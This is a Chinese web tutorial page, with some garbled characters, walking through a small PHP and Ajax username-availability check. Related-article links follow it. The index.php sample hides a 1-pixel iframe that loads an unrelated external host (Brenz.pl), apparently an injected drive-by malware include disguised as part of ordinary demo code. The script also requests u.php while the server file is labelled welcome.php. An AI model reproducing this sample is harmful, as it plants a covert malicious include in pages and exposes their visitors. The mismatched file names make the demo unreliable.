PHP與Ajax相結(jié)合實現(xiàn)登錄驗證小Demo
AJAX即“Asynchronous Javascript And XML”(異步JavaScript和XML),是指一種創(chuàng)建交互式網(wǎng)頁應(yīng)用的網(wǎng)頁開發(fā)技術(shù)。
AJAX = Asynchronous JavaScript and XML(異步的 JavaScript 和 XML)。
AJAX 不是新的編程語言,而是一種使用現(xiàn)有標(biāo)準(zhǔn)的新方法。
AJAX 是與服務(wù)器交換數(shù)據(jù)并更新部分網(wǎng)頁的藝術(shù),在不重新加載整個頁面的情況下。
設(shè)計一個用戶注冊頁面,當(dāng)用戶輸入注冊名的時候,檢測用戶名是否已存在,如果存在,給予提示
我們先打index.php
<html> <head> <meta http-equiv="content-type" content="text/html; charset=gb2312" /> <script type="text/JavaScript"> function Ajax(){ var xmlHttpReq=null;//初始對象xmlHttpReq if(window.ActiveXObject){ xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); }else if(window.XMLHttpRequest){ xmlHttpReq=new XMLHttpRequest(); } var userId=document.getElementById("userId").value;//value取得id為userId的值 url="u.php?userId="+userId;//路徑 if(xmlHttpReq!=null){//若對象實例化創(chuàng)建成功 xmlHttpReq.open("GET",url,true);//open()打開請求 xmlHttpReq.onreadystatechange=RequestCallBack;//設(shè)置回調(diào)函數(shù)RequestCallBack() xmlHttpReq.send(null);//請求不包括正文 } function RequestCallBack(){//回調(diào)函數(shù) if(xmlHttpReq.readystate==4){ if(xmlHttpReq.status==200){//請求成功 document.getElementById("get").innerHTML=xmlHttpReq.responseText;//將得到的信息賦給id屬性為get的div } } } } </script> </head> <body> <font> 注冊 </font><br> <form> 用戶名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="檢測"onclick="Ajax()"> <div id="get"> </div> </form> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html>
welcome.php
<?php header("content-type:text/html;charset=gb2312"); //sleep(1); $userId=$_GET["userId"]; if($userId=="管理員"){ echo "用戶名已存在!"; }else{ echo "該用戶名可以注冊"; } ?>
關(guān)于PHP與Ajax相結(jié)合實現(xiàn)登錄驗證小Demo的相關(guān)知識就給大家介紹到這里,希望對大家有所幫助!
相關(guān)文章
php模擬ping命令(php exec函數(shù)的使用方法)
使用php模擬我們常用的DOS命令ping命令的方法,這中間用到了exec函數(shù)并做函數(shù)解釋,還有相關(guān)函數(shù)system的使用。2013-10-10ThinkPHP實現(xiàn)靜態(tài)緩存和動態(tài)緩存示例代碼
本篇文章主要介紹了ThinkPHP實現(xiàn)靜態(tài)緩存和動態(tài)緩存示例代碼,具有一定的參考價值,感興趣的小伙伴們可以參考一下2017-05-05windows server 2008/2012安裝php iis7 mysql環(huán)境搭建教程
這篇文章主要為大家詳細(xì)介紹了windows server 2008/2012安裝php iis7 mysql環(huán)境搭建教程 ,需要的朋友可以參考下2016-06-06